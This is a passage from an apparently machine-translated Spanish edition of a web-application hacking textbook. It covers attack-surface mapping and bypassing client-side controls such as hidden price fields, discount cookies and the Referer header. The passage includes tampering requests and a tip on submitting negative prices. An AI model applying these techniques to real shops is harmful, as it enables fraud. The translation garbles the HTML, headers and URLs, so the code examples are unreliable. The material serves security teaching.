de vulnerabilidad que pueda ser explotada para avanzar en un ataque (consulte el Capítulo 18).
9. Revise su mapa de URL de aplicaciones para identificar cualquier aspecto interesante

extensiones de archivo, directorios u otras subsecuencias que pueden proporcionar pistas sobre
las tecnologías en uso en el servidor.
10. Revise los nombres de todos los tokens de sesión emitidos por la aplicación para identificar las
tecnologías que se utilizan.
11. Use listas de tecnologías comunes, o Google, para establecer qué tecnologías pueden estar en uso
en el servidor, o descubra otros sitios web y aplicaciones que parezcan emplear las mismas
tecnologías.
12. Realizar búsquedas en Google de los nombres de cualquier cookie inusual,

scripts, encabezados HTTP y similares que pueden pertenecer a componentes de software de
terceros. Si encuentra otras aplicaciones en las que se utilizan los mismos componentes, revíselas
para identificar cualquier funcionalidad adicional y parámetros compatibles con los componentes,
y verifique si también están presentes en su aplicación de destino. Tenga en cuenta que los
componentes de terceros pueden verse y sentirse bastante diferentes en cada implementación,
debido a las personalizaciones de la marca, pero la funcionalidad principal, incluidos los nombres
de secuencias de comandos y parámetros, suele ser la misma. Si es posible, descargue e instale el
componente y analícelo para comprender completamente sus capacidades y, si es posible,
descubra cualquier vulnerabilidad. Consulte los repositorios de capacidades de vulnerabilidades
conocidas para identificar cualquier defecto conocido con el componente en cuestión.
Identificación de la funcionalidad del lado del servidor
A menudo es posible inferir mucho sobre la funcionalidad y la estructura del

lado del servidor , o al menos hacer una conjetura, observando las pistas que la
aplicación revela al cliente.
Solicitudes de disección
Considere la siguiente URL, que se utiliza para acceder a una función de búsqueda:
https://wahh-app.com/calendar.jsp?
name=new%20applicants&isExpired=0&startDate=22%2F09%2010&endDate=22%2F03%2011&OrderBy=name
Como ha visto, la extensión de archivo .jsp indica que las páginas del servidor Java están
en uso. Puede adivinar que una función de búsqueda recuperará su información de un
sistema de indexación o de una base de datos. La presencia del parámetro OrderBy sugiere
que se está utilizando una base de datos de back-end y que el valor que envíe se puede
utilizar como la cláusula ORDER BY de una consulta SQL. Este parámetro bien puede ser
vulnerable a la inyección SQL, al igual que cualquiera de los otros parámetros si se utilizan
en consultas de base de datos (consulte el Capítulo 9).
También de interés entre los otros parámetros es el campo isExpired . Esto parece ser
un indicador booleano que especifica si la consulta de búsqueda debe incluir contenido
caducado. Si los diseñadores de la aplicación no esperaban que los usuarios normales
pudieran recuperar contenido caducado, cambiar este parámetro de 0 a 1 podría identificar
una vulnerabilidad de control de acceso (consulte el Capítulo 8).
La siguiente URL, que permite a los usuarios acceder a un sistema de gestión de
contenido, contiene un conjunto diferente de pistas:
https://wahh-app.com/workbench.aspx?template=NewBranch.tpl&loc= /default&ver=2.31&edit=false
Aquí, la extensión de archivo .aspx indica que se trata de una aplicación ASP.NET. También
parece muy probable que el parámetro template se use para especificar un nombre de
archivo y el parámetro loc se use para especificar un directorio. La posible extensión de
archivo .tpl parece confirmar esto, al igual que la ubicación /default, que muy bien podría
ser un nombre de directorio. Es posible que la aplicación recupere el archivo de plantilla
especificado e incluya el contenido en su respuesta. Estos parámetros pueden ser
vulnerables a los ataques de cruce de rutas, lo que permite que se lean archivos arbitrarios
del servidor (consulte el Capítulo 10).
También es de interés el parámetro de edición , que se establece en falso.
Puede ser que cambiar este valor a verdadero modifique la funcionalidad de
registro, lo que podría permitir que un atacante edite elementos que el desarrollador
de la aplicación no pretendía que fueran editables. El parámetro ver no tiene un
propósito fácil de adivinar, pero puede ser que modificarlo haga que la aplicación
realice un conjunto diferente de funciones que un atacante podría explotar.
Finalmente, considere la siguiente solicitud, que se utiliza para enviar una pregunta a
los administradores de la aplicación:
POST /retroalimentación.php HTTP/1.1

Anfitrión: wahh-app.com
[email protected]&[email protected]&subject=
Problema+iniciar+inicio&message=Por favor+ayuda...
Al igual que con los otros ejemplos, la extensión de archivo .php indica que la función se
implementa utilizando el lenguaje PHP. Además, es muy probable que la aplicación esté
interactuando con un sistema de correo electrónico externo, y parece que la entrada
controlable por el usuario se pasa a ese sistema en todos los campos relevantes del correo
electrónico. La función puede explotarse para enviar mensajes arbitrarios a cualquier
destinatario, y cualquiera de los campos también puede ser vulnerable a la inyección de
encabezado de correo electrónico (consulte el Capítulo 10).
CONSEJO A menudo es necesario considerar toda la URL y el contexto de la aplicación

para adivinar la función de las diferentes partes de una solicitud. Recuerde la siguiente URL
de la aplicación Extreme Internet Shopping:
http://eis/pub/media/117/view
El manejo de esta URL es probablemente funcionalmente equivalente a lo

siguiente:
http://eis/manager?schema=pub&type=media&id=117&action=view
Si bien no es seguro, parece probable que el recurso 117 esté contenido en la colección
de medios de recursos y que la aplicación esté realizando una acción en este recurso que es
equivalente a ver. Inspeccionar otras URL ayudaría a confirmar esto.
La primera consideración sería cambiar la acción de la vista a una alternativa posible,

como editar o agregar. Sin embargo, si lo cambia para agregar y esta conjetura es correcta,
probablemente correspondería a un intento de agregar un recurso con una identificación de
117. Esto probablemente fallará, ya que ya existe un recurso con una identificación de 117.
Lo mejor El enfoque sería buscar una operación de adición con un valor de id más alto que
el valor más alto observado o seleccionar un valor alto arbitrario. Por ejemplo, podría
solicitar lo siguiente:
http://eis/pub/media/7337/add
También puede valer la pena buscar otras colecciones de datos alterando

multimedia manteniendo una estructura de URL similar:
http://eis/pub/pages/1/ver http://eis/pub/
users/1/ver
PASOS DE HACK
1. Revise los nombres y valores de todos los parámetros que se envían a la

aplicación en el contexto de la funcionalidad que admiten.
2. Trate de pensar como un programador e imagine qué mecanismos y tecnologías
del lado del servidor es probable que se hayan utilizado para implementar el
comportamiento que puede observar.
Extrapolación del comportamiento de la aplicación
A menudo, una aplicación se comporta de forma coherente en todo el rango de su funcionalidad.

Esto puede deberse a que diferentes funciones fueron escritas por el mismo desarrollador o con
la misma especificación de diseño, o comparten algunos componentes de código comunes.
En esta situación, puede ser posible sacar conclusiones sobre la funcionalidad del lado del
servidor en un área y extrapolarlas a otra área.
Por ejemplo, la aplicación puede aplicar algunas comprobaciones de validación de entradas
globales, como desinfectar varios tipos de entradas potencialmente maliciosas antes de que se
procesen. Habiendo identificado una vulnerabilidad de inyección ciega de SQL, es posible que
tenga problemas para explotarla, ya que la lógica de validación de entrada modifica las solicitudes
diseñadas de forma invisible. Sin embargo, otras funciones dentro de la aplicación pueden
proporcionar buenos comentarios sobre el tipo de desinfección que se está realizando, por
ejemplo, una función que refleja algunos datos proporcionados por el usuario al navegador. Es
posible que pueda usar esta función para probar diferentes codificaciones y variaciones de su
carga útil de inyección de SQL para determinar qué entrada sin procesar debe enviarse para
lograr la cadena de ataque deseada después de que se haya aplicado la lógica de validación de
entrada. Si tiene suerte, la validación funciona de la misma manera en toda la aplicación, lo que
le permite aprovechar la falla de inyección.
Algunas aplicaciones utilizan esquemas de ofuscación personalizados cuando almacenan
datos confidenciales en el cliente para evitar la inspección y modificación casuales de estos datos
por parte de los usuarios (consulte el Capítulo 5). Algunos de estos esquemas pueden ser
extremadamente difíciles de descifrar dado el acceso a solo una muestra de datos ofuscados. Sin
embargo, puede haber funciones dentro de la aplicación en las que un usuario pueda proporcionar
una cadena ofuscada y recuperar el original. Por ejemplo, un mensaje de error puede incluir los
datos desofuscados que provocaron el error. Si se utiliza el mismo esquema de ofuscación
a lo largo de la aplicación, es posible tomar una cadena ofuscada de una
ubicación (como una cookie) e introducirla en la otra función para descifrar su
significado. También puede ser posible aplicar ingeniería inversa al esquema de
ofuscación enviando valores variables sistemáticamente a la función y
monitoreando sus equivalentes desofuscados.
Finalmente, los errores a menudo se manejan de manera inconsistente dentro de la aplicación.
Algunas áreas atrapan y manejan errores con gracia, y otras áreas simplemente fallan y regresan
información detallada de depuración para el usuario (consulte el Capítulo 15). En

esta situación, es posible recopilar información de los mensajes de error devueltos
en un área y aplicarla a otras áreas donde los errores se manejen correctamente.
Por ejemplo, manipulando los parámetros de la solicitud de manera sistemática y
monitoreando los mensajes de error recibidos, puede ser posible determinar la
estructura interna y la lógica del componente de la aplicación. Si tiene suerte,
algunos aspectos de esta estructura pueden replicarse en otras áreas.
PASOS DE HACK
1. Trate de identificar cualquier ubicación dentro de la aplicación que pueda contener pistas
sobre la estructura interna y la funcionalidad de otras áreas.
2. Puede que no sea posible sacar conclusiones firmes aquí; sin embargo, los casos
identificados pueden resultar útiles en una etapa posterior del ataque cuando intenta
explotar cualquier vulnerabilidad potencial.
Aislamiento del comportamiento único de la aplicación
A veces la situación es la opuesta a la que acabamos de describir. En muchas aplicaciones bien

protegidas o maduras, se emplea un marco coherente que evita numerosos tipos de ataques, como
secuencias de comandos entre sitios, inyección SQL y acceso no autorizado. En estos casos, las áreas
más fructíferas para la búsqueda de vulnerabilidades generalmente son las partes de la aplicación que
se han agregado retrospectivamente, o "agregadas", y por lo tanto no son manejadas por el marco de
seguridad general de la aplicación. Además, es posible que no estén vinculados correctamente a la
aplicación a través de la autenticación, la gestión de sesiones y el control de acceso.
Éstos son a menudo identificables a través de diferencias en la apariencia de la GUI, convenciones de

nomenclatura de parámetros o explícitamente a través de comentarios en el código fuente.
PASOS DE HACK
1. Tome nota de cualquier funcionalidad que difiera de la GUI estándar

apariencia, denominación de parámetros o mecanismo de navegación utilizado en el
resto de la aplicación.
2. También tome nota de la funcionalidad que probablemente se haya agregado

retrospectivamente. Los ejemplos incluyen funciones de depuración, controles de
CAPTCHA, seguimiento de uso y código de terceros.
3. Realice una revisión completa de estas áreas y no asuma que el estándar
se aplican las defensas utilizadas en otras partes de la solicitud.
Mapeo de la superficie de ataque

La etapa final del proceso de mapeo es identificar las diversas superficies de ataque
expuestas por la aplicación y las vulnerabilidades potenciales que comúnmente se
asocian con cada una. La siguiente es una guía aproximada de algunos tipos clave
de comportamiento y funcionalidad que puede identificar, y los tipos de habilidades
vulnerables que se encuentran más comúnmente dentro de cada uno. El resto de
este libro se ocupa de los detalles prácticos de cómo puede detectar y explotar cada
uno de estos problemas:
n Validación del lado del cliente: es posible que las comprobaciones no se repliquen
en el servidor n Interacción con la base de datos: inyección SQL n Carga y
descarga de archivos: vulnerabilidades de cruce de rutas,
secuencias de comandos entre sitios
n Visualización de datos proporcionados por el usuario: secuencias de
comandos entre sitios n Redireccionamientos dinámicos: redirección y ataques de inyección
de encabezado n Funciones de redes sociales: enumeración de nombres de usuario, almacenamiento entre sitios
secuencias de comandos
n Inicio de sesión: enumeración de nombre de usuario, contraseñas débiles, capacidad de usar

fuerza
n Inicio de sesión en varias etapas:

fallas lógicas. n Estado de la sesión : tokens predecibles, manejo inseguro
de los tokens . n Controles de acceso: escalada de privilegios horizontal y
vertical . n Funciones de suplantación de identidad del usuario: escalada de
privilegios.
ciales y otros datos confidenciales
n Enlaces fuera del sitio: fuga de parámetros de cadena de consulta en el Referer

encabezamiento
n Interfaces a sistemas externos — Atajos en el manejo de sesiones y/o controles de acceso
n Mensajes de error: fuga de información n Interacción de
correo electrónico: inyección de correo electrónico y/o comando n Interacción o
componentes de código nativo: desbordamiento de búfer n Uso de componentes de
aplicaciones de terceros: vulnerabilidades conocidas n Software de servidor web identificable: confi
guración común debilidades de configuración, errores de software conocidos

Mapeo de la aplicación Extreme Internet Shopping

Habiendo mapeado el contenido y la funcionalidad de la aplicación EIS, se pueden seguir
muchos caminos para atacar la aplicación, como se muestra en la Figura 4-15.
Figura 4-15: La superficie de ataque expuesta por la aplicación EIS
El directorio /auth contiene la funcionalidad de autenticación. Vale la pena realizar una

revisión completa de todas las funciones de autenticación, manejo de sesiones y control de
acceso, incluidos otros ataques de descubrimiento de contenido.
Dentro de la ruta /core , la página de estadísticas del sitio parece aceptar una serie de
parámetros delimitados por el carácter de barra vertical (|). Además de los ataques
convencionales basados en la entrada, otros valores podrían ser de fuerza bruta, como la
fuente, la ubicación y la IP, en un intento de revelar más información sobre otros usuarios
o sobre la página especificada en pageID. También puede ser posible encontrar información sobre
recursos inaccesibles o probar una opción comodín en pageID, como pageID=all o pageID=*.
Finalmente, debido a que el valor de ID de página observado contiene una barra inclinada,
puede indicar que se está recuperando un recurso del sistema de archivos, en cuyo caso los
ataques de cruce de ruta pueden ser una posibilidad.
La ruta /gb contiene el libro de visitas del sitio. Visitar esta página sugiere que se usa como
un foro de discusión, moderado por un administrador. Los mensajes se moderan, pero la
omisión de inicio de sesión login=true significa que un atacante puede intentar aprobar
mensajes maliciosos (por ejemplo, para lanzar ataques de secuencias de comandos entre
sitios) y leer los mensajes privados de otros usuarios al administrador.
La ruta /home parece contener contenido de usuario autenticado. Esto podría ser una
buena base para los intentos de lanzar un ataque de escalada de privilegios horizontal para
acceder a la información personal de otro usuario y garantizar que los controles de acceso
estén presentes y se apliquen en cada página.
Una revisión rápida muestra que las rutas /icons y /images tienen contenido estático.
Puede valer la pena usar fuerza bruta para los nombres de íconos que podrían indicar
software de terceros y verificar la indexación de directorios en estos directorios, pero es poco
probable que valga la pena un esfuerzo significativo.
La ruta /pub contiene recursos de estilo REST en /pub/media y /pub/ user. Se podría
usar un ataque de fuerza bruta para encontrar las páginas de perfil de otros usuarios de la
aplicación apuntando al valor numérico en /pub/user/11. La funcionalidad de redes sociales
como esta puede revelar información del usuario, nombres de usuario y el estado de inicio
de sesión de otros usuarios.
La ruta /shop contiene el sitio de compras en línea y tiene una gran cantidad de URL. Sin
embargo, todos tienen una estructura similar, y un atacante probablemente podría sondear
toda la superficie de ataque relevante mirando solo uno o dos elementos. El proceso de
compra puede contener fallos lógicos interesantes que podrían aprovecharse para obtener
descuentos no autorizados o evitar el pago.
PASOS DE HACK
1. Comprender la funcionalidad central implementada dentro de la aplicación y

los principales mecanismos de seguridad en uso.
2. Identificar todas las características de la funcionalidad y el comportamiento de la aplicación que

a menudo se asocian con vulnerabilidades comunes.
3. Verifique cualquier código de terceros en bases de datos de vulnerabilidades públicas como

www.osvdb.org para determinar cualquier problema conocido.
4. Formular un plan de ataque, priorizando la funcionalidad que parezca más interesante y la

más grave de las vulnerabilidades potenciales asociadas.
Resumen
Mapear la aplicación es un requisito previo clave para atacarla. Puede ser tentador
sumergirse y comenzar a buscar errores, pero tomarse el tiempo para obtener una
comprensión sólida de la funcionalidad, las tecnologías y la superficie de ataque de la
aplicación pagará dividendos en el futuro.
Al igual que con casi todos los hackeos de aplicaciones web, el enfoque más efectivo es
utilizar técnicas manuales complementadas, cuando corresponda, con automatización controlada.
Ninguna herramienta completamente automatizada puede realizar un mapeo completo de la
aplicación de manera segura. Para hacer esto, necesita usar sus manos y basarse en su propia
experiencia. La metodología central que hemos esbozado implica lo siguiente:
n Navegación manual y spidering dirigido por el usuario para enumerar la aplicación

el contenido visible y la funcionalidad de la ción
n Uso de la fuerza bruta combinada con la inferencia e intuición humana para
cubrir la mayor cantidad de contenido oculto posible
n Un análisis inteligente de la aplicación para identificar su funcionalidad clave,

comportamiento, mecanismos de seguridad y tecnologías
n Una evaluación de la superficie de ataque de la aplicación, destacando las funciones y el

comportamiento más prometedores para un sondeo más centrado en el exploit.
vulnerabilidades capaces
Preguntas
1. Mientras mapea una aplicación, encuentra la siguiente URL:

https://wahh-app.com/CookieAuth.dll?GetLogon?curl=Z2Fdefault.
aspx
¿Qué información puede deducir acerca de las tecnologías empleadas en el servidor y

cómo es probable que se comporte?
2. La aplicación a la que se dirige implementa la funcionalidad del foro web.

Esta es la única URL que ha descubierto:
http://wahh-app.com/forums/ucp.php?mode=register
¿Cómo puede obtener una lista de los miembros del foro?

3. Mientras mapea una aplicación, encuentra la siguiente URL:

https://wahh-app.com/public/profile/Address. asp?
acción=ver&ubicación=predeterminado
¿Qué información puede inferir sobre las tecnologías del lado del servidor? ¿Qué puedes
conjeturar sobre otros contenidos y funcionalidades que puedan existir?
4. Las respuestas de un servidor web incluyen el siguiente encabezado:

Servidor: Apache-Coyote/1.1
¿Qué indica esto acerca de las tecnologías en uso en el servidor?
5. Está asignando dos aplicaciones web diferentes y solicita la URL /admin.cpf de cada
aplicación. Los encabezados de respuesta devueltos por cada solicitud se muestran
aquí. Solo con estos encabezados, ¿qué puede deducir acerca de la presencia del
recurso solicitado dentro de cada aplicación?
Servidor: Microsoft-IIS/5.0
Caduca: lunes, 20 de junio de 2011 14:59:21 GMT Ubicación del
contenido: http://wahh app.com/includes/error.htm?404;http://wahh-
app.com/admin.cpf
Fecha: lunes, 20 de junio de 2011 14:59:21 GMT
Tipo de contenido: texto/html
Rangos de aceptación: bytes
HTTP/1.1 401 no autorizado

Servidor: Apache-Coyote/1.1 WWW-
Authenticate: Basic realm=”Wahh Administration Site”
Tipo de contenido: texto/html;charset=utf-8

Fecha: lunes, 20 de junio de 2011 15:07:27 GMT
Conexión: cerrar
Capítulo R
Omitir los controles del lado del cliente
El Capítulo 1 describió cómo surge el problema central de seguridad con las aplicaciones web
porque los clientes pueden enviar entradas arbitrarias. A pesar de este hecho, una gran
proporción de las aplicaciones web, sin embargo, se basan en varias medidas implementadas
en el lado del cliente para controlar los datos que envían al servidor. En general, esto representa
una falla de seguridad fundamental: el usuario tiene control total sobre el cliente y los datos que
envía y puede eludir cualquier control que se implemente en el lado del cliente y no se replique
en el servidor.
Una aplicación puede depender de los controles del lado del cliente para restringir la entrada
del usuario de dos maneras generales. En primer lugar, una aplicación puede transmitir datos a
través del componente del cliente utilizando un mecanismo que supone evitará que el usuario
modifique esos datos cuando la aplicación los lea más tarde. En segundo lugar, una aplicación
puede implementar medidas en el lado del cliente que controlen la interacción del usuario con su
propio cliente, con el objetivo de restringir la funcionalidad y/o aplicar controles sobre la entrada
del usuario antes de que se envíe. Esto se puede lograr utilizando funciones de formulario HTML,
secuencias de comandos del lado del cliente o tecnologías de extensión del navegador.
Este capítulo analiza ejemplos de cada tipo de control del lado del cliente y describe
formas en que pueden ser evitados.
117
118 Capítulo 5 n Omisión de los controles del lado del cliente
Transmisión de datos a través del cliente
Es común ver una aplicación que pasa datos al cliente en un formulario que el usuario final no
puede ver ni modificar directamente, con la expectativa de que estos datos se envíen de vuelta
al servidor en una solicitud posterior. A menudo, los desarrolladores de la aplicación simplemente
asumen que el mecanismo de transmisión utilizado garantizará que los datos transmitidos a
través del cliente no se modifiquen en el camino.
Debido a que todo lo que se envía desde el cliente al servidor está bajo el control del usuario,
la suposición de que los datos transmitidos a través del cliente no se modificarán suele ser falso
y, a menudo, deja a la aplicación vulnerable a uno o más ataques.
Puede preguntarse razonablemente por qué, si el servidor conoce y especifica un elemento

de datos en particular, la aplicación necesitaría transmitir este valor al cliente y luego volver a
leerlo. De hecho, escribir aplicaciones de esta manera suele ser más fácil para los desarrolladores
por varias razones:
n Elimina la necesidad de realizar un seguimiento de todo tipo de datos dentro de la sesión

del usuario. Reducir la cantidad de datos por sesión que se almacenan en el servidor
también puede mejorar el rendimiento de la aplicación.
n Si la aplicación se implementa en varios servidores distintos, con los usuarios
interactuando potencialmente con más de un servidor para realizar una acción de
varios pasos, puede que no sea sencillo compartir datos del lado del servidor entre
los hosts que pueden manejar las solicitudes del mismo usuario. Usar el cliente para
transmitir datos puede ser una solución tentadora al problema.
n Si la aplicación emplea componentes de terceros en el servidor, como carritos de compras,
modificarlos puede ser difícil o imposible, por lo que la transmisión de datos a través del
cliente puede ser la forma más fácil de integrarlos. n En algunas situaciones, el
seguimiento de una nueva pieza de datos en el servidor puede implicar la actualización de

una API central del lado del servidor, lo que desencadena un proceso formal completo
de administración de cambios y pruebas de regresión. La implementación de una
solución más fragmentaria que involucre la transmisión de datos del lado del cliente
puede evitar esto, lo que permite cumplir con plazos ajustados.
Sin embargo, la transmisión de datos confidenciales de esta manera suele ser insegura y ha
sido la causa de innumerables vulnerabilidades en las aplicaciones.
Campos de formulario ocultos
Los campos de formulario HTML ocultos son un mecanismo común para transmitir datos a
través del cliente de una manera superficialmente inmodificable. Si un campo está marcado
como oculto, no se muestra en pantalla. Sin embargo, el nombre y el valor del campo se
almacenan en el formulario y se devuelven a la aplicación cuando el usuario envía
la forma.
Capítulo 5 n Omisión de los controles del lado del cliente 119
El ejemplo clásico de esta falla de seguridad es una aplicación minorista que almacena los
precios de los productos dentro de campos de formulario ocultos. En los primeros días de las
aplicaciones web , esta vulnerabilidad estaba muy extendida y de ninguna manera ha sido
eliminada en la actualidad. La figura 5-1 muestra un formulario típico.
Figura 5-1: Un formulario HTML típico
El código detrás de este formulario es el siguiente:
<form method=”post” action=”Shop.aspx?prod=1”> Producto: iPhone 5 <br/

>
Precio: 449 <br/>
Cantidad: <input type=”text” name=”quantity”> (La cantidad máxima es 50)
<br/>
<tipo de entrada=”oculto” nombre=”precio” valor=”449”> <tipo de
entrada=”enviar” valor=”Comprar”>
</formulario>
Observe el campo de formulario llamado precio, que está marcado como oculto. Este campo
se envía al servidor cuando el usuario envía el formulario:
POST /tienda/28/Tienda.aspx?prod=1 HTTP/1.1

cantidad = 1 y precio = 449
¡INTENTALO!
http://mdsec.net/shop/28/
Aunque el campo de precio no se muestra en la pantalla y el usuario no puede editarlo ,

esto se debe únicamente a que la aplicación le ha indicado al navegador que oculte el campo.
Debido a que todo lo que ocurre en el lado del cliente está, en última instancia, bajo el control
del usuario, esta restricción se puede eludir para editar el precio.
Una forma de lograr esto es guardar el código fuente de la página HTML, editar el valor del
campo, volver a cargar la fuente en un navegador y hacer clic en el botón Comprar.
Sin embargo, un método más sencillo y elegante es utilizar un proxy interceptor para modificar
los datos deseados sobre la marcha.
Un proxy de interceptación es tremendamente útil cuando se ataca una aplicación web y es

la herramienta verdaderamente indispensable que necesita. Numerosas herramientas de este
tipo están disponibles. Usaremos Burp Suite, que fue escrito por uno de los autores de este libro.
El proxy se encuentra entre su navegador web y la aplicación de destino. Intercepta todas
las solicitudes enviadas a la aplicación y todas las respuestas recibidas, tanto para HTTP como
para HTTPS. Puede atrapar cualquier mensaje interceptado para que el usuario lo inspeccione
o modifique. Si no ha usado un proxy de interceptación antes, puede leer más sobre cómo
funcionan y cómo configurarlos y ponerlos en funcionamiento en el Capítulo 20.
Una vez que se ha instalado y configurado adecuadamente un proxy de interceptación,

puede interceptar la solicitud que envía el formulario y modificar el campo de precio a cualquier
valor, como se muestra en la Figura 5-2.
Figura 5-2: Modificación de los valores de los campos de formulario ocultos utilizando un proxy interceptor
Si la aplicación procesa la transacción según el precio enviado, puede comprar el producto

por el precio de su elección.
SUGERENCIA Si encuentra una aplicación que es vulnerable de esta manera, vea si puede enviar
una cantidad negativa como precio. En algunos casos, las aplicaciones han aceptado transacciones
utilizando precios negativos. El atacante recibe un reembolso en su tarjeta de crédito y también el
artículo que ordenó, una situación en la que todos ganan, si alguna vez hubo una.
Cookies HTTP
Otro mecanismo común para transmitir datos a través del cliente son las cookies HTTP .
Al igual que los campos de formulario ocultos, normalmente estos no se muestran en
pantalla y el usuario no puede modificarlos directamente. Por supuesto, se pueden
modificar utilizando un proxy interceptor, cambiando la respuesta del servidor que los
establece o las solicitudes posteriores del cliente que los emiten.
Considere la siguiente variación del ejemplo anterior. Después del cliente
ha iniciado sesión en la aplicación, recibe la siguiente respuesta:

Establecer-cookie: descuento acordado = 25
...
Esta cookie de descuento acordado apunta a un caso clásico de confianza en los controles del lado del
cliente (el hecho de que las cookies normalmente no se pueden modificar) para proteger los datos transmitidos
a través del cliente. Si la aplicación confía en el valor de la cookie DiscountAgreed cuando se vuelve a enviar
al servidor, los clientes pueden obtener descuentos arbitrarios modificando su valor. Por ejemplo:
POST /shop/92/Shop.aspx?prod=3 HTTP/1.1 Host: mdsec.net
Cookie: Descuento Acordado=25

cantidad=1
¡INTENTALO!
Parámetros de URL
Las aplicaciones transmiten con frecuencia datos a través del cliente utilizando parámetros de URL
preestablecidos . Por ejemplo, cuando un usuario navega por el catálogo de productos, la aplicación puede
proporcionarle hipervínculos a URL como las siguientes:
http://mdsec.net/shop/?prod=3&pricecode=32
Cuando se muestra una URL que contiene parámetros en la barra de ubicación del navegador, cualquier
usuario puede modificar fácilmente cualquier parámetro sin el uso de herramientas.
Sin embargo, en muchos casos, una aplicación puede esperar que los usuarios comunes no puedan ver o
modificar los parámetros de URL:
n Cuando las imágenes incrustadas se cargan mediante direcciones URL que contienen parámetros. n
Cuando las direcciones URL que contienen parámetros se utilizan para cargar el contenido de un marco.
n Cuando un formulario usa el método POST y su URL de destino contiene

parámetros
n Cuando una aplicación utiliza ventanas emergentes u otras técnicas para ocultar
la barra de ubicación del navegador
Por supuesto, en cualquier caso, los valores de cualquier parámetro de URL se pueden modificar
como se explicó anteriormente utilizando un proxy de interceptación.
El encabezado de referencia
Los navegadores incluyen el encabezado Referer en la mayoría de las solicitudes HTTP. Se utiliza
para indicar la URL de la página desde la que se originó la solicitud actual, ya sea porque el usuario
hizo clic en un hipervínculo o envió un formulario, o porque la página hacía referencia a otros
recursos, como imágenes. Por lo tanto, puede aprovecharse como un mecanismo para transmitir
datos a través del cliente. Debido a que las URL procesadas por la aplicación están bajo su control,
los desarrolladores pueden suponer que el encabezado Referer se puede usar para determinar de
manera confiable qué URL generó una solicitud en particular.
Por ejemplo, considere un mecanismo que permita a los usuarios restablecer su contraseña si
la han olvidado. La aplicación requiere que los usuarios realicen varios pasos en una secuencia
definida antes de restablecer el valor de su contraseña con la siguiente solicitud:
OBTENER /auth/472/CreateUser.ashx HTTP/1.1

Consulte: https://mdsec.net/auth/472/Admin.ashx
La aplicación puede usar el encabezado Referer para verificar que esta solicitud se originó en
la etapa correcta (Admin.ashx). Si lo hiciera, el usuario puede acceder a la funcionalidad solicitada.
Sin embargo, debido a que el usuario controla todos los aspectos de cada solicitud, incluidos
los encabezados HTTP, este control se puede eludir fácilmente procediendo directamente a
CreateUser.ashx y usando un proxy de interceptación para cambiar el valor del encabezado Referer
al valor que requiere la aplicación. .
El encabezado Referer es estrictamente opcional de acuerdo con los estándares de w3.org. Por lo
tanto, aunque la mayoría de los navegadores lo implementan, usarlo para controlar la funcionalidad de
la aplicación debe considerarse como un truco.
¡INTENTALO!
http://mdsec.net/auth/472/
MITO COMÚN
A menudo se supone que los encabezados HTTP son de alguna manera más "a prueba de
manipulaciones" que otras partes de la solicitud, como la URL. Esto puede llevar a los
desarrolladores a implementar funciones que confíen en los valores enviados en los
encabezados, como Cookie y Referer, mientras realizan una validación adecuada de otros datos,
como los parámetros de URL. Sin embargo, esta percepción es falsa. Dada la multitud de
herramientas proxy de interceptación que están disponibles gratuitamente, cualquier pirata
informático aficionado que se dirija a una aplicación puede cambiar todos los datos solicitados
con facilidad. Es como suponer que cuando la maestra viene a registrar tu escritorio, es más
seguro esconder tu pistola de agua en el cajón inferior, porque tendrá que agacharse más para
descubrirla.
PASOS DE HACK
1. Localice todas las instancias dentro de la aplicación donde los campos de formulario ocultos,
Aparentemente, se utilizan cookies y parámetros de URL para transmitir datos a través
del cliente.
2. Intente determinar o adivinar el papel que juega el artículo en la aplicación.

la lógica de la función, basada en el contexto en el que aparece y en pistas como el nombre
del parámetro.
3. Modificar el valor del artículo de manera que sea relevante para su propósito en el
solicitud. Compruebe si la aplicación procesa valores arbitrarios enviados en el parámetro
y si esto expone la aplicación a alguna vulnerabilidad.
Opaque Data
A veces, los datos transmitidos a través del cliente no son transparentemente
inteligibles porque se cifraron u ofuscaron de alguna manera. Por ejemplo, en lugar
de ver el precio de un producto almacenado en un campo oculto, puede ver que se
transmite un valor críptico:
<form method=”post” action=”Shop.aspx?prod=4”>

Producto: Nokia Infinito <br/>
Precio: 699 <br/>
<br/>
<tipo de entrada=”oculto” nombre=”precio” valor=”699”>
<tipo de entrada=”oculto” nombre=”precio_token”
valor = "E76D213D291B8F216D694A34383150265C989229">
<tipo de entrada=”enviar” valor=”Comprar”>
</formulario>
Cuando se observa esto, puede inferir razonablemente que cuando se envía el

formulario, la aplicación del lado del servidor verifica la integridad de la cadena opaca, o
incluso la descifra o la ofusca para realizar algún procesamiento en su valor de texto sin
formato. Este procesamiento posterior puede ser vulnerable a cualquier tipo de error. Sin
embargo, para investigar y explotar esto, primero debe envolver su carga útil de manera adecuada.
¡INTENTALO!
NOTA Los elementos de datos opacos transmitidos a través del cliente suelen formar
parte del mecanismo de gestión de sesiones de la aplicación. Los tokens de sesión
enviados en cookies HTTP, los tokens anti-CSRF transmitidos en campos ocultos y los
tokens de URL únicos para acceder a los recursos de la aplicación son objetivos potenciales
para la manipulación del lado del cliente. Numerosas consideraciones son específicas para
este tipo de tokens, como se analiza en profundidad en el Capítulo 7.
PASOS DE HACK
Ante la transmisión de datos opacos a través del cliente, son posibles varias vías de
ataque:
1. Si conoce el valor del texto sin formato detrás de la cadena opaca, puede intentar
descifrar el algoritmo de ofuscación que se está empleando.
2. Como se describe en el Capítulo 4, la aplicación puede contener otras funciones
donde puede aprovechar para devolver la cadena opaca resultante de un fragmento
de texto sin formato que controla. En esta situación, es posible que pueda obtener
directamente la cadena requerida para entregar una carga útil arbitraria a la función a
la que se dirige.
3. Incluso si la cuerda opaca es impenetrable, es posible que se reproduzca
su valor en otros contextos para lograr un efecto malicioso. Por ejemplo, el parámetro
pricing_token en el formulario mostrado anteriormente puede contener una versión
cifrada del precio del producto. Aunque no es posible producir el equivalente
encriptado por un precio arbitrario de su elección, puede copiar el precio encriptado
de un producto diferente y más económico y enviarlo en su lugar.
4. Si todo lo demás falla, puede intentar atacar la lógica del lado del servidor que
descifrar o desofuscar la cadena opaca mediante el envío de variaciones mal
formadas de la misma, por ejemplo, que contengan valores demasiado largos,
diferentes conjuntos de caracteres y similares.
El estado de visualización de ASP.NET
Un mecanismo común para transmitir datos opacos a través del cliente es

ASP.NET ViewState. Este es un campo oculto que se crea de forma
